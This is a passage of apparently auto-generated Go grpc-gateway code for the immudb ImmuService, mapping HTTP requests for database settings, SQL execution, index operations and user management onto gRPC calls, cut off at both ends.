:= client.UpdateDatabaseV2(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD)) return msg, metadata, err } func local_request_ImmuService_UpdateDatabaseV2_0(ctx context.Context, marshaler runtime.Marshaler, server ImmuServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { var protoReq UpdateDatabaseRequest var metadata runtime.ServerMetadata newReader, berr := utilities.IOReaderFactory(req.Body) if berr != nil { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", berr) } if err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) } msg, err := server.UpdateDatabaseV2(ctx, &protoReq) return msg, metadata, err } func request_ImmuService_GetDatabaseSettings_0(ctx context.Context, marshaler runtime.Marshaler, client ImmuServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { var protoReq emptypb.Empty var metadata runtime.ServerMetadata newReader, berr := utilities.IOReaderFactory(req.Body) if berr != nil { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", berr) } if err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) } msg, err := client.GetDatabaseSettings(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD)) return msg, metadata, err } func local_request_ImmuService_GetDatabaseSettings_0(ctx context.Context, marshaler runtime.Marshaler, server ImmuServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { var protoReq emptypb.Empty var metadata runtime.ServerMetadata newReader, berr := utilities.IOReaderFactory(req.Body) if berr != nil { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", berr) } if err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) } msg, err := server.GetDatabaseSettings(ctx, &protoReq) return msg, metadata, err } func request_ImmuService_GetDatabaseSettingsV2_0(ctx context.Context, marshaler runtime.Marshaler, client ImmuServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { var protoReq DatabaseSettingsRequest var metadata runtime.ServerMetadata newReader, berr := utilities.IOReaderFactory(req.Body) if berr != nil { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", berr) } if err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) } msg, err := client.GetDatabaseSettingsV2(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD)) return msg, metadata, err } func local_request_ImmuService_GetDatabaseSettingsV2_0(ctx context.Context, marshaler runtime.Marshaler, server ImmuServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { var protoReq DatabaseSettingsRequest var metadata runtime.ServerMetadata newReader, berr := utilities.IOReaderFactory(req.Body) if berr != nil { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", berr) } if err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) } msg, err := server.GetDatabaseSettingsV2(ctx, &protoReq) return msg, metadata, err } var ( filter_ImmuService_FlushIndex_0 = &utilities.DoubleArray{Encoding: map[string]int{}, Base: []int(nil), Check: []int(nil)} ) func request_ImmuService_FlushIndex_0(ctx context.Context, marshaler runtime.Marshaler, client ImmuServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { var protoReq FlushIndexRequest var metadata runtime.ServerMetadata if err := req.ParseForm(); err != nil { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) } if err := runtime.PopulateQueryParameters(&protoReq, req.Form, filter_ImmuService_FlushIndex_0); err != nil { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) } msg, err := client.FlushIndex(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD)) return msg, metadata, err } func local_request_ImmuService_FlushIndex_0(ctx context.Context, marshaler runtime.Marshaler, server ImmuServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { var protoReq FlushIndexRequest var metadata runtime.ServerMetadata if err := req.ParseForm(); err != nil { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) } if err := runtime.PopulateQueryParameters(&protoReq, req.Form, filter_ImmuService_FlushIndex_0); err != nil { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) } msg, err := server.FlushIndex(ctx, &protoReq) return msg, metadata, err } func request_ImmuService_CompactIndex_0(ctx context.Context, marshaler runtime.Marshaler, client ImmuServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { var protoReq emptypb.Empty var metadata runtime.ServerMetadata msg, err := client.CompactIndex(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD)) return msg, metadata, err } func local_request_ImmuService_CompactIndex_0(ctx context.Context, marshaler runtime.Marshaler, server ImmuServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { var protoReq emptypb.Empty var metadata runtime.ServerMetadata msg, err := server.CompactIndex(ctx, &protoReq) return msg, metadata, err } func request_ImmuService_SQLExec_0(ctx context.Context, marshaler runtime.Marshaler, client ImmuServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { var protoReq SQLExecRequest var metadata runtime.ServerMetadata newReader, berr := utilities.IOReaderFactory(req.Body) if berr != nil { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", berr) } if err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) } msg, err := client.SQLExec(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD)) return msg, metadata, err } func local_request_ImmuService_SQLExec_0(ctx context.Context, marshaler runtime.Marshaler, server ImmuServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { var protoReq SQLExecRequest var metadata runtime.ServerMetadata newReader, berr := utilities.IOReaderFactory(req.Body) if berr != nil { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", berr) } if err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) } msg, err := server.SQLExec(ctx, &protoReq) return msg, metadata, err } func request_ImmuService_UnarySQLQuery_0(ctx context.Context, marshaler runtime.Marshaler, client ImmuServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { var protoReq SQLQueryRequest var metadata runtime.ServerMetadata newReader, berr := utilities.IOReaderFactory(req.Body) if berr != nil { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", berr) } if err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) } msg, err := client.UnarySQLQuery(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD)) return msg, metadata, err } func local_request_ImmuService_UnarySQLQuery_0(ctx context.Context, marshaler runtime.Marshaler, server ImmuServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { var protoReq SQLQueryRequest var metadata runtime.ServerMetadata newReader, berr := utilities.IOReaderFactory(req.Body) if berr != nil { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", berr) } if err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) } msg, err := server.UnarySQLQuery(ctx, &protoReq) return msg, metadata, err } func request_ImmuService_SQLQuery_0(ctx context.Context, marshaler runtime.Marshaler, client ImmuServiceClient, req *http.Request, pathParams map[string]string) (ImmuService_SQLQueryClient, runtime.ServerMetadata, error) { var protoReq SQLQueryRequest var metadata runtime.ServerMetadata newReader, berr := utilities.IOReaderFactory(req.Body) if berr != nil { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", berr) } if err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) } stream, err := client.SQLQuery(ctx, &protoReq) if err != nil { return nil, metadata, err } header, err := stream.Header() if err != nil { return nil, metadata, err } metadata.HeaderMD = header return stream, metadata, nil } func request_ImmuService_ListTables_0(ctx context.Context, marshaler runtime.Marshaler, client ImmuServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { var protoReq emptypb.Empty var metadata runtime.ServerMetadata msg, err := client.ListTables(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD)) return msg, metadata, err } func local_request_ImmuService_ListTables_0(ctx context.Context, marshaler runtime.Marshaler, server ImmuServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { var protoReq emptypb.Empty var metadata runtime.ServerMetadata msg, err := server.ListTables(ctx, &protoReq) return msg, metadata, err } func request_ImmuService_DescribeTable_0(ctx context.Context, marshaler runtime.Marshaler, client ImmuServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { var protoReq Table var metadata runtime.ServerMetadata newReader, berr := utilities.IOReaderFactory(req.Body) if berr != nil { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", berr) } if err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) } msg, err := client.DescribeTable(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD)) return msg, metadata, err } func local_request_ImmuService_DescribeTable_0(ctx context.Context, marshaler runtime.Marshaler, server ImmuServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { var protoReq Table var metadata runtime.ServerMetadata newReader, berr := utilities.IOReaderFactory(req.Body) if berr != nil { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", berr) } if err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) } msg, err := server.DescribeTable(ctx, &protoReq) return msg, metadata, err } func request_ImmuService_VerifiableSQLGet_0(ctx context.Context, marshaler runtime.Marshaler, client ImmuServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { var protoReq VerifiableSQLGetRequest var metadata runtime.ServerMetadata newReader, berr := utilities.IOReaderFactory(req.Body) if berr != nil { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", berr) } if err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) } msg, err := client.VerifiableSQLGet(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD)) return msg, metadata, err } func local_request_ImmuService_VerifiableSQLGet_0(ctx context.Context, marshaler runtime.Marshaler, server ImmuServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { var protoReq VerifiableSQLGetRequest var metadata runtime.ServerMetadata newReader, berr := utilities.IOReaderFactory(req.Body) if berr != nil { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", berr) } if err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) } msg, err := server.VerifiableSQLGet(ctx, &protoReq) return msg, metadata, err } func request_ImmuService_TruncateDatabase_0(ctx context.Context, marshaler runtime.Marshaler, client ImmuServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { var protoReq TruncateDatabaseRequest var metadata runtime.ServerMetadata newReader, berr := utilities.IOReaderFactory(req.Body) if berr != nil { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", berr) } if err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) } msg, err := client.TruncateDatabase(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD)) return msg, metadata, err } func local_request_ImmuService_TruncateDatabase_0(ctx context.Context, marshaler runtime.Marshaler, server ImmuServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { var protoReq TruncateDatabaseRequest var metadata runtime.ServerMetadata newReader, berr := utilities.IOReaderFactory(req.Body) if berr != nil { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", berr) } if err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) } msg, err := server.TruncateDatabase(ctx, &protoReq) return msg, metadata, err } // RegisterImmuServiceHandlerServer registers the http handlers for service ImmuService to "mux". // UnaryRPC :call ImmuServiceServer directly. // StreamingRPC :currently unsupported pending https://github.com/grpc/grpc-go/issues/906. // Note that using this registration option will cause many gRPC library features to stop working. Consider using RegisterImmuServiceHandlerFromEndpoint instead. func RegisterImmuServiceHandlerServer(ctx context.Context, mux *runtime.ServeMux, server ImmuServiceServer) error { mux.Handle("GET", pattern_ImmuService_ListUsers_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() var stream runtime.ServerTransportStream ctx = grpc.NewContextWithServerTransportStream(ctx, &stream) inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) rctx, err := runtime.AnnotateIncomingContext(ctx, mux, req) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } resp, md, err := local_request_ImmuService_ListUsers_0(rctx, inboundMarshaler, server, req, pathParams) md.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer()) ctx = runtime.NewServerMetadataContext(ctx, md) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } forward_ImmuService_ListUsers_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) }) mux.Handle("POST", pattern_ImmuService_CreateUser_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() var stream runtime.ServerTransportStream ctx = grpc.NewContextWithServerTransportStream(ctx, &stream) inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) rctx, err := runtime.AnnotateIncomingContext(ctx, mux, req) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } resp, md, err := local_request_ImmuService_CreateUser_0(rctx, inboundMarshaler, server, req, pathParams) md.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer()) ctx = runtime.NewServerMetadataContext(ctx, md) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } forward_ImmuService_CreateUser_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) }) mux.Handle("POST", pattern_ImmuService_ChangePassword_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() var stream runtime.ServerTransportStream ctx = grpc.NewContextWithServerTransportStream(ctx, &stream) inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) rctx, err := runtime.AnnotateIncomingContext(ctx, mux, req) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } resp, md, err := local_request_ImmuService_ChangePassword_0(rctx, inboundMarshaler, server, req, pathParams) md.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer()) ctx = runtime.NewServerMetadataContext(ctx, md) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } forward_ImmuService_ChangePassword_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) }) mux.Handle("POST", pattern_ImmuService_ChangePermission_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() var stream runtime.ServerTransportStream ctx = grpc.NewContextWithServerTransportStream(ctx, &stream) inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) rctx, err := runtime.AnnotateIncomingContext(ctx, mux, req) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } resp, md, err := local_request_ImmuService_ChangePermission_0(rctx, inboundMarshaler, server, req, pathParams) md.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer()) ctx = runtime.NewServerMetadataContext(ctx, md) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } forward_ImmuService_ChangePermission_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) }) mux.Handle("POST", pattern_ImmuService_ChangeSQLPrivileges_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() var stream runtime.ServerTransportStream ctx = grpc.NewContextWithServerTransportStream(ctx, &stream) inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) rctx, err := runtime.AnnotateIncomingContext(ctx, mux, req) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } resp, md, err := local_request_ImmuService_ChangeSQLPrivileges_0(rctx, inboundMarshaler, server, req, pathParams) md.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer()) ctx = runtime.NewServerMetadataContext(ctx, md) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } forward_ImmuService_ChangeSQLPrivileges_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) }) mux.Handle("POST", pattern_ImmuService_SetActiveUser_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() var stream runtime.ServerTransportStream ctx = grpc.NewContextWithServerTransportStream(ctx, &stream) inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) rctx, err := runtime.AnnotateIncomingContext(ctx, mux, req) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } resp, md, err := local_request_ImmuService_SetActiveUser_0(rctx, inboundMarshaler, server, req, pathParams) md.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer()) ctx = runtime.NewServerMetadataContext(ctx, md) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } forward_ImmuService_SetActiveUser_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) }) mux.Handle("POST", pattern_ImmuService_Login_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() var stream runtime.ServerTransportStream ctx = grpc.NewContextWithServerTransportStream(ctx, &stream) inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) rctx, err := runtime.AnnotateIncomingContext(ctx, mux, req) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } resp, md, err := local_request_ImmuService_Login_0(rctx, inboundMarshaler, server, req, pathParams) md.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer()) ctx = runtime.NewServerMetadataContext(ctx, md) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } forward_ImmuService_Login_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) }) mux.Handle("POST", pattern_ImmuService_Logout_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() var stream runtime.ServerTransportStream ctx = grpc.NewContextWithServerTransportStream(ctx, &stream) inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) rctx, err := runtime.AnnotateIncomingContext(ctx, mux, req) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } resp, md, err := local_request_ImmuService_Logout_0(rctx, inboundMarshaler, server, req, pathParams) md.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer()) ctx = runtime.NewServerMetadataContext(ctx, md) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } forward_ImmuService_Logout_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) }) mux.Handle("POST", pattern_ImmuService_Set_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() var stream runtime.ServerTransportStream ctx = grpc.NewContextWithServerTransportStream(ctx, &stream) inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) rctx, err := runtime.AnnotateIncomingContext(ctx, mux, req) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } resp, md, err := local_request_ImmuService_Set_0(rctx, inboundMarshaler, server, req, pathParams) md.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer()) ctx = runtime.NewServerMetadataContext(ctx, md) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } forward_ImmuService_Set_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) }) mux.Handle("POST", pattern_ImmuService_VerifiableSet_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() var stream runtime.ServerTransportStream ctx = grpc.NewContextWithServerTransportStream(ctx, &stream) inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) rctx, err := runtime.AnnotateIncomingContext(ctx, mux, req) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } resp, md, err := local_request_ImmuService_VerifiableSet_0(rctx, inboundMarshaler, server, req, pathParams) md.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer()) ctx = runtime.NewServerMetadataContext(ctx, md) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } forward_ImmuService_VerifiableSet_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) }) mux.Handle("GET", pattern_ImmuService_Get_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() var stream runtime.ServerTransportStream ctx = grpc.NewContextWithServerTransportStream(ctx, &stream) inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) rctx, err := runtime.AnnotateIncomingContext(ctx, mux, req) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } resp, md, err := local_request_ImmuService_Get_0(rctx, inboundMarshaler, server, req, pathParams) md.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer()) ctx = runtime.NewServerMetadataContext(ctx, md) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } forward_ImmuService_Get_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) }) mux.Handle("POST", pattern_ImmuService_VerifiableGet_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() var stream runtime.ServerTransportStream ctx = grpc.NewContextWithServerTransportStream(ctx, &stream) inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) rctx, err := runtime.AnnotateIncomingContext(ctx, mux, req) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } resp, md, err := local_request_ImmuService_VerifiableGet_0(rctx, inboundMarshaler, server, req, pathParams) md.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer()) ctx = runtime.NewServerMetadataContext(ctx, md) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } forward_ImmuService_VerifiableGet_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) }) mux.Handle("POST", pattern_ImmuService_Delete_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() var stream runtime.ServerTransportStream ctx = grpc.NewContextWithServerTransportStream(ctx, &stream) inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) rctx, err := runtime.AnnotateIncomingContext(ctx, mux, req) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } resp, md, err := local_request_ImmuService_Delete_0(rctx, inboundMarshaler, server, req, pathParams) md.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer()) ctx = runtime.NewServerMetadataContext(ctx, md) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } forward_ImmuService_Delete_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) }) mux.Handle("POST", pattern_ImmuService_GetAll_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() var stream runtime.ServerTransportStream ctx = grpc.NewContextWithServerTransportStream(ctx, &stream) inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) rctx, err := runtime.AnnotateIncomingContext(ctx, mux, req) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } resp, md, err := local_request_ImmuService_GetAll_0(rctx, inboundMarshaler, server, req, pathParams) md.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer()) ctx = runtime.NewServerMetadataContext(ctx, md) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } forward_ImmuService_GetAll_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) }) mux.Handle("POST", pattern_ImmuService_ExecAll_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() var stream runtime.ServerTransportStream ctx = grpc.NewContextWithServerTransportStream(ctx, &stream) inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) rctx, err := runtime.AnnotateIncomingContext(ctx, mux, req) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } resp, md, err := local_request_ImmuService_ExecAll_0(rctx, inboundMarshaler, server, req, pathParams) md.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer()) ctx = runtime.NewServerMetadataContext(ctx, md) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } forward_ImmuService_ExecAll_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) }) mux.Handle("POST", pattern_ImmuService_Scan_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() var stream runtime.ServerTransportStream ctx = grpc.NewContextWithServerTransportStream(ctx, &stream) inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) rctx, err := runtime.AnnotateIncomingContext(ctx, mux, req) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } resp, md, err := local_request_ImmuService_Scan_0(rctx, inboundMarshaler, server, req, pathParams) md.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer()) ctx = runtime.NewServerMetadataContext(ctx, md) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } forward_ImmuService_Scan_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) }) mux.Handle("GET", pattern_ImmuService_Count_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() var stream runtime.ServerTransportStream ctx = grpc.NewContextWithServerTransportStream(ctx, &stream) inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) rctx, err := runtime.AnnotateIncomingContext(ctx, mux, req) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } resp, md, err := local_request_ImmuService_Count_0(rctx, inboundMarshaler, server, req, pathParams) md.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer()) ctx = runtime.NewServerMetadataContext(ctx, md) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } forward_ImmuService_Count_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) }) mux.Handle("GET", pattern_ImmuService_CountAll_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := 